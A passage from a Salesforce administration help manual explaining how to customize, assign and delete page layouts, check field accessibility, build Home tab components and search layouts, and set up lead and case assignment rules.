lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.

1287

Customize

Overview of Page Layouts and Field-Level Security

If a dependent lookup is above its controlling field on a page layout, make its lookup filter optional or redesign the page
layout. Seeing a required dependent lookup above its controlling field on a page layout may confuse users who typically
start from the top of the page when entering data.
You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the Console tab. For more information, see Defining Mini Page Layouts
on page 3305.
When editing a person account page layout:
If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.

Salesforce recommends creating no more than 200 page layouts. While there is no limit, organizations may have difficulty
managing their page layouts if they exceed 200.
Salesforce gives administrators the option to view a short video tutorial the first time they access the enhanced page layout
editor. This video is also available from the Video Tutorial link next to the Help for this Page link in the editor.

See Also:
Enhanced Page Layout Editor User Interface Elements
Customizing Page Layouts with the Enhanced Page Layout Editor

Customizing Page Layouts with the Original Page Layout Editor


Available in: All Editions

User Permissions Needed


To customize page layouts:

Customize Application

The original page layout editor allows you to customize your organizations page layouts for detail and edit pages in Salesforce,
the Self-Service Portal, and the Salesforce Customer Portal.
Note: Salesforce.com recommends using the enhanced page layout editor instead of the original page layout editor.
For more information, see Customizing Page Layouts with the Enhanced Page Layout Editor on page 1280.
To customize page layouts using the original page layout editor:
1. For standard object page layouts, select Your Name > Setup > Customize, select the object, and choose Page Layouts.
For custom object page layouts, select Your Name > Setup > Create, select the object, and scroll to the Page Layouts
section.
2. In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
In all other editions, click Edit at the top of the page.

1288

Customize

Overview of Page Layouts and Field-Level Security

3. If tags are enabled in your organization, specify whether personal and public tags should be included in the header section
of the page layout. Users cannot tag a record if neither personal nor public tags are included in the header section:

To add personal or public tags to the page layout, select Header Items from the View drop-down list and then drag
the Personal Tags or Public Tags items to the Header Section of the layout. Note that you cannot change the order in
which personal and public tags appear when both are in the Header Section at the same time.
To remove tags from the page layout, drag the Personal Tags and Public Tags items from the Header Section of the
page layout to the area under the View drop-down list.

For more information, see Tags Overview on page 376.


4. To customize buttons, double-click the Detail Page Buttons item in the Button Section.

To hide any standard button, deselect the checkbox next to the button name.
To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
Sort custom buttons by selecting them and clicking Up or Down.
To undo your customizations and restore default settings, click Revert to Defaults.
Click OK to close the popup when you are done.

5. To arrange fields, custom s-controls, Visualforce pages, custom links, and related lists on the layout, select one or more
items from the box on the right and drag them to the desired location. You can add up to 20 s-controls, 20 Visualforce
pages, and 100 related lists on a page layout. There are no limits on fields and custom links.

Use CTRL+click to select multiple items individually.


Use SHIFT+click to select multiple items as a group.
Note:

You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set
to the object for which you are creating the page layout. If you do not have any Visualforce pages with a standard
controller set to that object, the Visualforce Pages category does not appear in the palette.
Items that are not in the page layout are displayed in the scrolling box on the right-hand side.
Use the legend to determine what fields are required, dependent, controlling, or have other attributes that may
affect your page layout decisions.

6. To set which fields are required and read only, select one or more fields and click Edit Properties.

The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
Fields marked as read only are always editable by administrators and users with the Edit Read Only Fields permission.
If you make a picklist field read only, all new records will contain the default value for that picklist.
Auto-number fields are always read only.
If you mark the opportunity Probability field as read only, the Probability value will still be updated automatically
when a user changes the Stage value of an opportunity.
In Enterprise, Unlimited, and Developer Editions, field-level security settings override any field properties you set here
if the field-level security is more restrictive than the page layout setting. See Field-Level Security Overview on page
663.

7. To change the properties of an s-control or Visualforce page, double click it and set the following attributes:

Width sets the horizontal size in pixels or a percent.


Height sets the vertical size in pixels.

1289

Customize

Overview of Page Layouts and Field-Level Security

Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary.
Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to

display the custom s-control in a wider area.


8. To organize the page using sections, click Edit next to an existing page section, or click Create New Section to create a
new page section.

Enter a name for the section. Note that names of some standard page sections cannot be changed.
Set whether the section should have one or two columns.
Set the order in which users will be able to tab through the items in that section.
Set whether the section name should be shown on the detail and edit pages.

9. To customize the related lists on the page layout, double-click the related list in the Related List Section.

Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
Use CTRL+click to select multiple fields individually.
Use SHIFT+click to select multiple fields as a group.
Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending
order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available
for activities and opportunity products.
If necessary, select additional page layouts to apply your related list customizations to.
Select or deselect the checkbox next to any standard button name to customize which standard buttons display in the
related list.
To customize which custom buttons display in the related list, select the button and click Add or Remove. Sort custom
buttons by selecting them and clicking Up or Down.
Note: To create a custom button for the related list, see Defining Custom Buttons and Links on page 1254. The
custom button must be defined for the object contained in the related list, instead of the parent object, and the
button Type must be List Button. For example, to display a custom button on the Contacts related list of an
account, define the custom button for contacts, not accounts.

Some related lists are not customizable because they link to data rather than store it. You can move your cursor over any
related list section to see if it is customizable. Also, lookup fields are not available for display on their corresponding lookup
related list. For example, the case lookup field on an account page layout is not available when editing the cases related
list.
Note: You can also enable related list hover links for your organization so that record detail pages include links
for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list
items. Users can also click a related list hover link to jump down to the content of the related list without having
to scroll down the page. To enable related list hover links, see Customizing User Interface Settings on page 1601.
10. Select the Overwrite users personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
11. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles. Note that most related lists columns preview without
data.
12. Click Save to finish. Alternatively, click Quick Save to save and continue editing the page layout.

1290

Customize

Overview of Page Layouts and Field-Level Security

Professional, Enterprise, Unlimited, and Developer Edition organizations can also click:

Mini Console View to choose which related records display in the Console tab's mini view.
Mini Page Layout to define the mini page layouts of the records that appear in the Console tab's mini view.
Note: You cannot define mini console views or mini page layouts for the Close Case Layout or the Log a Case Page
and View Cases Page layouts on the Self-Service Portal.

In Enterprise, Unlimited, and Developer Editions, you can now assign which page layouts to display for different profile and
record type combinations (see Assigning Page Layouts on page 1295). You can also set field-level security to restrict field access
further (see Field-Level Security Overview on page 663).
Notes on Page Layouts

When customizing page layouts for tasks, you can select the following checkboxes:
Show Task Email Notification checkbox controls whether the Send Notification Email checkbox
displays when users create or edit a task.
Select Task Email Notification checkbox by default controls whether the Send Notification
Email checkbox is selected by default when users create or edit a task. Note that a user's personal preference for
defaulting the state of the checkbox takes precedence over the organization-wide setting. For more information, see
Creating Tasks on page 164.

When customizing page layouts for cases, you can select the following checkboxes:
Case assignment checkbox to display the Assign using active assignment rules checkbox on case
edit pages.
Email notification checkbox to display the Send notification email to contact checkbox on case
edit pages.

Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.
You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the Console tab. For more information, see Defining Mini Page Layouts
on page 3305.
In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into any
field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can import
only into the fields that are accessible to them via their page layout or field-level security settings.
In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access in
related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing
data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
For information on setting which fields display for users in search results, see Customizing Search Layouts on page 1303.
In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which tabs and related lists
display for their personal use. See Customizing Your Display on page 42.
When editing a person account page layout:
If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.

1291

Customize

Overview of Page Layouts and Field-Level Security

Some items can only be moved to certain sections on the page layout. For example, you can drag a custom s-control to any
field section on the page layout but not a Related List Section or Button Section.
Create the appropriate buttons before editing your page layout. For example, create an account custom button for the detail
page and a contact custom list button before putting them both on an account page layout. For implementation tips and
best practices on custom buttons, see Custom Button Considerations.
If you use the original page layout editor to view a page layout that was created in the new page layout editor, the original
page layout editor will show any blank spaces you added. You cannot move or add blank spaces in the original page layout
editor, but you can remove them by dragging them to the box on the right.

See Also:
Customizing Page Layouts with the Enhanced Page Layout Editor
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal

Customizing Detail Page Buttons


Available in: All Editions

User Permissions Needed


To customize detail page buttons:

Customize Application

When customizing page layouts, you can control which standard and custom buttons are displayed and the order in which
the custom buttons are shown. To customize the buttons on record detail pages:
1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
For custom objects, click Your Name > Setup > Create > Objects, and select the desired custom object.
2. Click Edit next to the page layout you want to customize.
3. Do one of the following:

In the original page layout editor, double-click the Detail Page Buttons item in the Button Section.

To hide any standard button, deselect the checkbox next to the button name.
To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
Sort custom buttons by selecting them and clicking Up or Down.
To undo your customizations and restore default settings, click Revert to Defaults.
Click OK to close the popup when you are done.

In the enhanced page layout editor, select the Buttons category on the palette and drag one or more buttons from the
palette to the buttons section on the page layout. Standard buttons must go in the standard buttons area, and custom

1292

Customize

Overview of Page Layouts and Field-Level Security

buttons must go in the custom buttons area. To remove a standard or custom button from the page layout, drag the
button to the palette.
4. Click Save on the page layout.
5. Click Save.

See Also:
Customizing Page Layouts
Overriding Standard Buttons and Tab Home Pages
Defining Custom Buttons and Links

Customizing Related Lists


Available in: All Editions

User Permissions Needed


To customize related lists:

Customize Application

To customize the buttons, columns displayed, column order, and record sort order of related lists on record detail pages in
Salesforce and the Salesforce Customer Portal:
1. Access the page layout editor.
2. Double-click a related list on the layout to edit it. If you are using the enhanced page layout editor, you can also click the
wrench icon ( ).
3. To customize the fields that display in the related list:

Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
Note: The first field of a related list can't be moved. They are considered as unique identifiers for the record.

Use CTRL+click to select multiple fields individually.


Use SHIFT+click to select multiple fields as a group.
Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending
order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available
for activities and opportunity products.
If necessary, select additional page layouts to apply your related list customizations to. Only layouts that include this
related list appear in the list. Layouts that include related lists with the same customizations as the current layout had
when you opened are selected by default.

Lookup fields are not available for display on their corresponding lookup related list. For example, the case lookup field
on an account page layout is not available when editing the cases related list.

1293

Customize

Overview of Page Layouts and Field-Level Security

4. To customize which standard buttons display in the related list, select or deselect the checkbox next to any standard button
name.
Note: To view the buttons in the enhanced page layout editor, click the plus sign (+) in the Buttons section.

5. To customize which custom buttons display in the related list:

To add or remove a custom button, select the button and click Add or Remove.
Sort custom buttons by selecting them and clicking Up or Down.

To create a custom button for the related list, see Defining Custom Buttons and Links on page 1254. The custom button
must be defined for the object contained in the related list, instead of the parent object, and the button Type must be List
Button. For example, to display a custom button on the Contacts related list of an account, define the custom button for
contacts, not accounts.
6. If necessary, click Revert to Defaults to undo any customizations and use the default Salesforce settings in the related list.
7. Click OK to store your customizations. Changes are not saved until you click Save on the page layout.
8. Select the Overwrite users personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
9. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles.
10. Click Save.
Note: You can also enable related list hover links for your organization so that record detail pages include links for
each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items.
Users can also click a related list hover link to jump down to the content of the related list without having to scroll
down the page. To enable related list hover links, see Customizing User Interface Settings on page 1601.

See Also:
Overview of Page Layouts and Field-Level Security
Creating a Many-to-Many Relationship

Editing Multi-Line Layouts for Opportunity Products


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit multi-line layouts for opportunity products:

Customize Application

You can customize the columns that display when you click Edit All in the Products related list of an opportunity detail page.
1. Click Your Name > Setup > Customize > Opportunities > Opportunity Products > Page Layouts.
2. Click the name of an opportunity product page layout.

1294

Customize

Overview of Page Layouts and Field-Level Security

3. Click Edit Multi-Line Layout.


4. As necessary, move fields from the Available Fields list to the Selected Fields list:

Select one or more fields and use the Add and Remove arrows to move them between the lists. Also, click the Up and
Down arrows to change the order of the Selected Fields list.
Use CTRL+click to select multiple fields individually.
Use SHIFT+click to select multiple fields as a group.

5. Click Save to apply your changes.

Deleting Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete page layouts:

Customize Application

To delete a page layout:


1. Select Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
2. Click Del next to the page layout name.
When a page layout is deleted, its mini page layout is also deleted.
3. Choose another page layout to replace the deleted layout for any profile and record type combinations. Users with those
profiles and record types will see the new page layout.
4. Click Replace.

See Also:
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Setting Up the Console Tab

Assigning Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

After defining page layouts, assign which page layouts users see. A users profile determines which page layout he or she sees.
In addition, if your organization is using record types for a particular tab, the combination of the users profile and the record
type determine which page layout is displayed.

1295

Customize

Overview of Page Layouts and Field-Level Security

You can assign page layouts from:

The object's customize page layout or record type page


The enhanced profile user interface
The original profile user interface

To verify that users have the correct access to fields based on the page layout and field-level security, you can check the field
accessibility grid; see About Field Accessibility on page 1297.

See Also:
Managing Page Layouts
User Profiles Overview
Managing Record Types
Overview of Page Layouts and Field-Level Security

Assigning Page Layouts from a Customize Page Layout or Record Type Page
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign page layouts:

Manage Users

1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose Page Layouts or Record
Types..
2. In the page layout or record type list page, click Page Layout Assignment.
3. Click Edit Assignment.
4. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If
your organization uses record types, a matrix displays a page layout selector for each profile and record type.
When selecting page layout assignments:

Click a cell, column, or row heading to select all the table cells in that column or row.
Press SHIFT+click to select multiple adjacent table cells, columns, or rows.
Press CTRL+click to select multiple nonadjacent table cells, columns, or rows.
Click any cell and drag to select a range of cells.
Click Next or Prev to view another set of record types.

Selected page layout assignments are highlighted. Page layout assignments you change are italicized until you save your
changes.
5. If necessary, select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous
step for the new page layout.

1296

Customize

Overview of Page Layouts and Field-Level Security

6. Click Save.

See Also:
Assigning Page Layouts

About Field Accessibility


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Page layouts are not available in Database.com

Several factors help control whether users can view and edit specific fields in Salesforce.

Page layoutsYou can set whether fields are visible, required, editable, or read only.
Field-level securityYou can further restrict users' access to fields by setting whether those fields are visible, editable, or
read only. These settings override any field properties set in the page layout if the field-level security setting is more
restrictive.
Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to
prevent users from searching and retrieving records that match a value in a field hidden by field-level security,
contact salesforce.com Customer Support.

PermissionsSome user permissions override both page layouts and field-level security settings. For example, users with
the Edit Read Only Fields permission can always edit read-only fields regardless of any other settings.
Universally required fieldsA custom field can be made universally required, which overrides any less-restrictive settings
on page layouts or field-level security.

After setting these items, you can confirm users' access to specific fields using the field accessibility grid.

Checking Field Accessibility for a Particular Field


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view field accessibility:

View Setup and Configuration

1. Navigate to the fields area of the appropriate object:

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or
Event Fields.

1297

Customize

Overview of Page Layouts and Field-Level Security

For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.

2. Select a field and click View Field Accessibility.


3. Confirm that the field access is correct for different profiles and record types.
4. Hover your mouse over any field access setting to see whether the field is required, editable, hidden, or read only based on
the page layout or field-level security.
5. Click any field access setting to change the field's accessibility.
For advanced options to check field accessibility by a specific profile, record type, or field, click Your Name > Setup > Security
Controls > Field Accessibility. From this page, you need to choose a particular tab to view and then select whether you want
to check access by profiles, record types, or fields.
Note: In this user interface, you can't check access for permission sets.
Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users
from searching and retrieving records that match a value in a field hidden by field-level security, contact Customer
Support.

Modifying Field Access Settings


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed


To view field accessibility:

View Setup and Configuration

To change field accessibility:

Customize Application
AND
Manage Users

From the field accessibility grid, you can click any field access setting to change the fields accessibility in the page layout or
in field-level security. The Access Settings page then lets you modify the field access settings.

In the Field-Level Security section of the page, specify the field's access level for the profile.
Access Level

Enabled Settings

Users can read and edit the field.

Visible

Users can read but not edit the field.

Visible and Read-Only

Users can't read or edit the field.

None

We recommend that you use field-level security to control users access to fields rather than creating multiple page layouts
to control field access.

In the Page Layout section of the page, you can:

1298

Customize

Overview of Page Layouts and Field-Level Security

Select the Remove or change editability radio button and then change the field access properties for the page
layout. These changes will affect all profile and record type combinations that currently use this page layout.
Alternatively, you can select the Choose a different page layout radio button to assign a different page layout
to the profile and record type combination.

See Also:
Overview of Page Layouts and Field-Level Security
Managing Page Layouts
Field-Level Security Overview
Object Permissions
User Permissions

Customizing Home Tab Page Layouts


Available in: All Editions

User Permissions Needed


To view home page layouts:

Customize Application

To create or change home page layouts:

Customize Application

You can customize the Home tab to include components such as sidebar links, a company logo, or a dashboard snapshot. A
dashboard snapshot is a clipping of the top row of a dashboards components. Just like other tabs, you can also assign different
home page layouts to different users based on profile.
Alternatively, a custom home page layout can contain only the components that show up in the sidebar. You can determine
if custom sidebar components appear only on the Home tab or on all Salesforce pages.
To start customizing your home page layouts, see:

Defining Home Tab Components on page 1300


Designing Home Tab Page Layouts on page 1301
Assigning Home Tab Page Layouts to Profiles on page 1302

1299

Customize

Overview of Page Layouts and Field-Level Security

Defining Home Tab Components


Available in: All Editions

User Permissions Needed


To create or change home page layouts:

Customize Application

Home page layouts contain standard components, such as Recent Items and Messages & Alerts, and any custom components
you create. You can create custom components such as a logo; see Creating Custom Components on page 1300. Additionally,
you can edit some standard components; see Editing Components on page 1300.
Editing Components
1. Click Your Name > Setup > Customize > Home > Home Page Components.
2. Click Edit next to the component you want to edit. If there is no Edit link next to a component, it is read only.
3. Make any changes.

When editing the standard Messages & Alerts component, enter the text you want to display to users. If entering
HTML code for your message, make sure it is self-contained, well-formed HTML.
When editing the Custom Links component, enter the link text to display to users in the Bookmark field. In the URL
field, enter the complete website address, such as http://www.yahoo.com. To link to a Salesforce page, such as a
frequently-viewed report, enter only the part of the URL after salesforce.com, for example, /00Ox0000000esq4.
These links always open within the main Salesforce window, not in a popup window.
Note: The standard home page Custom Links component is a quick way to add links to the sidebar, but it
does not support merge fields, functions (such as the URLFOR function), executing JavaScript, or customizable
window opening properties. If you need this additional functionality:
a. Click Your Name > Setup > Customize > Home > Custom Links, and create your home page custom
links on that page.
b. Click Your Name > Setup > Customize > Home > Home Page Components, and create a custom home
page component of type Links on that page that includes the custom links created in the first step. See
Creating Custom Components. Note that creating a custom home page component for your links does not
change the visual styling for your end users.

4. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1301.
Creating Custom Components
If you are creating custom link components, define your Home tab custom links first; see Setting Custom Buttons and Links
on page 1253. If you are creating an image component, upload your image to the Documents tab first. For information on
uploading your files to the Documents tab, see Uploading and Replacing Documents on page 250.
1. Click Your Name > Setup > Customize > Home > Home Page Components.
2. Click New.
3. Enter a name for the component. For custom links, this name displays as the section heading in the sidebar on the Home
tab.

1300

Customize

Overview of Page Layouts and Field-Level Security

4. Choose the type of component.


5. Click Next.

For links, select the appropriate custom links and click Add.
For images, click Insert an image, choose the document folder, and select the image file. Note that the image file must
be in a public folder and the Externally Available checkbox must be selected on the document's properties so
that users can view the image.
For HTML area, choose where to display the component, in either the wide or narrow column, and enter your text,
image, or links in the box below.
Note: Components in the narrow column display in the sidebar. They do not display in the sidebar on other
pages within Salesforce unless you specify that in your user interface settings or by assigning the Show Custom
Sidebar On All Pages permission. To change your user interface settings, see Customizing User Interface
Settings on page 1601. For information on permissions, see User Permissions on page 567.
For instructions on using the HTML format toolbar, see Using the Format Toolbar on page 481.

6. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1301.
Tip: Keep your image size smaller than 20 KB for optimum performance. If your image is too large to fit in the insert
window, use an image editor to resize the image. Save your image in gif or jpeg format to reduce file size.

See Also:
Designing Home Tab Page Layouts
Assigning Home Tab Page Layouts to Profiles

Designing Home Tab Page Layouts


Available in: All Editions

User Permissions Needed


To view home page layouts:

Customize Application

To create or change home page layouts:

Customize Application

After creating the components you want displayed on the Home tab, begin designing your home page layouts.
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Home > Home Page Layouts.
Click New. Alternately, select a layout you want to copy and click Clone.
Enter a name for the new layout.
Click Save.
Select the components you want displayed on the new page layout. Consider the following:

1301

Customize

Overview of Page Layouts and Field-Level Security

The components you select for the narrow column display in the sidebar. They do not display in the sidebar on other
pages within Salesforce unless you specify that in your user interface settings. To change your user interface settings,
see Customizing User Interface Settings on page 1601. If you only want certain users to view sidebar components on all
pages, grant those user the Show Custom Sidebar On All Pages permission.
Select Article Search to add the Find Articles component to a home page layout. This component is only available
for Salesforce Knowledge users.
Select Customer Portal Welcome to add the Customer Portal component to a home page layout. If the My Profile
site Visualforce page has been enabled, this component contains a personalized welcome message and a link to the
portal user's profile. The My Profile page enables users logged into either your Force.com site, or your Customer Portal
from Force.com sites, to update their own contact information. When they make changes to this page, the corresponding
portal user and contact records are updated.
When you select Dashboard Snapshot as a component to show on a home page layout, Salesforce displays the last
dashboard the user accessed. To give users instructions on changing the dashboard themselves; see Customizing Your
Display on page 42. Users can view a dashboard snapshot on their Home tab if they have access to at least one dashboard.
See Refreshing Dashboard Data on page 3093.
Tip: When designing home page layouts for your Customer Portal, we recommend adding the following
components: Search, Solution Search, Recent Items, Customer Portal Welcome, and a custom HTML Area
component that includes your corporate branding in the wide column.

6.
7.
8.
9.

Click Next.
Arrange the selected components in the desired columns. Select a component and use the arrow keys to move it.
Optionally, click Preview to display the home page layout.
Click Save & Assign to save the page layout and assign it to a profile. Initially, all users, including Customer Portal users,
are assigned to the Home Page Default layout. For more information, see Assigning Home Tab Page Layouts to Profiles
on page 1302.

See Also:
Customizing Home Tab Page Layouts
Defining Home Tab Components
Setting Up Your Customer Portal

Assigning Home Tab Page Layouts to Profiles


Available in: All Editions

User Permissions Needed


To assign home page layouts:

Customize Application

Your home page layouts are only visible to users after you assign them to a user profile.
1. Click Your Name > Setup > Customize > Home > Home Page Layouts.
2. Click Page Layout Assignment.

1302

Customize

Overview of Page Layouts and Field-Level Security

3. Click Edit Assignment.


4. Choose the appropriate page layout for each profile.
5. Click Save.
Tip: Notify users how to customize their dashboard settings on their Home tab by clicking Your Name > Setup >
My Personal information > Change My Display and choosing the link for Home. See Customizing Your Display
on page 42.

See Also:
Defining Home Tab Components
Designing Home Tab Page Layouts
Changing Your Home Tab Dashboard

Customizing Search Layouts


Available in: All Editions

User Permissions Needed


To change search layouts:

Customize Application

Customize which fields display for users in search results, search filter fields, lookup dialogs, the recent records lists on tab
home pages, and in lookup phone dialogs for Salesforce CRM Call Center. You can specify a different set of fields to show
in each search layout. The settings apply to all users in your organization and Salesforce Customer Portal.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a List Button Display Type.
1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Search Layouts link.
2. Click Edit next to the layout you want to customize. You can specify a different set of items to display for search results,
lookup dialogs, recent records lists on tab home pages, lookup phone dialogs, list views, and search filter fields.
3. For list view and search results layouts, select any standard or custom buttons you want to display. To hide a standard
button on the list view, deselect it. Standard buttons are not available on search result layouts.
4. Use the arrows to add or remove items from the layout, and to define the order in which the fields should display. To select
more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.

Select one or more items in the available list and click Add to add them to the layout.
Select one or more items in the selected list and click Remove to remove them from the layout.
Select one or more items in the selected list and click Up to move them higher in the list.
Select one or more items in the selected list and click Down to move them lower in the list.
Note: When editing a search results layout for an object, you can select the Override the search result
column customizations for all users checkbox. If selected, all user column customizations within your
organization will be overwritten and set to the organization-wide default settings.

1303

Customize

Overview of Page Layouts and Field-Level Security

5. Click Save.
Notes on Search Layouts

Search layouts do not apply to Salesforce CRM Content. To search for files and Web links in Salesforce CRM Content,
see Searching for Content on page 311.
Search layouts do not apply to campaign members.
The search layout does not determine which fields are searched for keyword matches. See Search Fields on page 357 for a
list of which fields are searched.
You can add up to 10 fields to each search layout.
You cannot remove unique identifying fields, such as Account Name or Case Number, from the search layouts. These
fields must be listed first in the order of fields in the search layout.
You cannot add long text fields such as Description, Solution Details, or custom long text area fields to search
layouts.
All fields are available to be added to the search layout even if some fields are normally hidden for the user customizing
the search layout.
For Enterprise, Unlimited, and Developer Edition organizations, search layouts do not override field-level security. If a
field is included in the search layout but hidden for some users via field-level security, those users do not see that field in
their search results.
For Personal, Contact Manager, Group, and Professional Edition organizations, search layouts override page layout settings.
If a field is included in the search layout but hidden in the page layout, that field will be visible in search results.
The search results layouts for leads, accounts, contacts, and opportunities also apply to the search results displayed when
finding duplicate leads.
Formula fields are not available in search result layouts.
Do not remove the Phone field from any lookup phone dialogs search layout. If you do so, users will not be able to use
the directory search results to enter a phone number into a SoftPhone dial pad.
To add a custom button to a list view or search layout, create the custom button for a standard or custom object, giving it
the List Button Display Type. The custom button will be available in the list view and search result layouts for that
object.
Tip: In account search results, you can visually differentiate business accounts from person accounts by adding the
Is Person Account field, which displays as the person account icon ( ).
You may specify the Is Person Account field as the first column in account search layouts. Otherwise, Account
Name must be the first column.
For more information, see What is a Person Account? on page 68.

See Also:
Managing Page Layouts
Customizing a Call Center Directory
Overview of Page Layouts and Field-Level Security
Field-Level Security Overview
Setting Up Your Customer Portal

1304

Rules

Managing Assignment Rules

RULES
Managing Assignment Rules
Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change assignment rules:

Customize Application

Create assignment rules to automate your organizations lead generation and support processes.
Lead Assignment RulesSpecify how leads are assigned to users or queues as they are created manually, captured from
the web, or imported via the lead import wizards.
Case Assignment RulesDetermine how cases are assigned to users or put into queues as they are created manually,
using Web-to-Case, Email-to-Case, On-Demand Email-to-Case, the Self-Service portal, the Customer Portal, Outlook,
or Lotus Notes.

Typically, your organization will have one rule for each overall purposefor example, one lead assignment rule for importing
and a different lead assignment rule for web-generated leads; or one case assignment rule for standard use and one case
assignment rule for holiday use. For each rule type, only one rule can be in effect at any time. For a list of the maximum number
of rules allowed in each organization, see Salesforce Editions and Limits.
Each rule consists of multiple rule entries that specify exactly how the leads or cases are assigned. For example, your standard
case assignment rule may have two entries: cases with Type equals Gold are assigned to Gold Service queue, and cases
with Type equals Silver are assigned to Silver Service queue.
To create an assignment rule, click Your Name > Setup > Customize from the top of any page. Then select Leads or Cases,
and click Assignment Rules.
Sample Assignment Rule
The following case assignment rule assigns a case to a specific queue based on the account rating:
Rule Name Hot Account Assignment
Rule Entries:

Order

Criteria

Assign To

ISPICKVAL(Account.Rating, "Hot")

Tier 1 Support Queue

OR( ISPICKVAL(Account.Rating, "Warm") ,


ISPICKVAL(Account.Rating, "Cold") )

Tier 2 Support Queue

1305

Customize

Managing Assignment Rules

For more lead management rule examples, see Examples of Advanced Formula Fields on page 1138.

See Also:
Setting Up Assignment Rules
Viewing and Editing Assignment Rules
Assigning Cases

Setting Up Assignment Rules


Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create assignment rules:

Customize Application

To create an assignment rule:


1. Choose Your Name > Setup > Customize from the top of any page.
2. Select Leads or Cases, and click Assignment Rules.
3. Choose New, and give the rule a name. Specify whether you want this to be the active rule for leads or cases created
manually and via the web and email. Click Save.
4. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that
determines how leads or cases are processed. For each entry, you can specify the following:
Field

Description

Order

Sets the order in which the entry will be processed in the rule,
for example, 1, 2, 3.
Salesforce evaluates each entry in order and tries to match the
criteria of the entry. As soon as a match is found, Salesforce
processes the item and stops evaluating the rule entries for
that item. If no match is found, the item is reassigned to either
the default Web-to-Lead owner, the administrator doing a
lead import, or the default case owner.

Criteria

Specifies conditions that the lead or case must match for it to


be assigned.
Enter your rule criteria:

Choose criteria are met and select the filter criteria


that a record must meet to trigger the rule. For example,
set a case filter to Priority equals High if you want

1306

Customize

Field

Managing Assignment Rules

Description
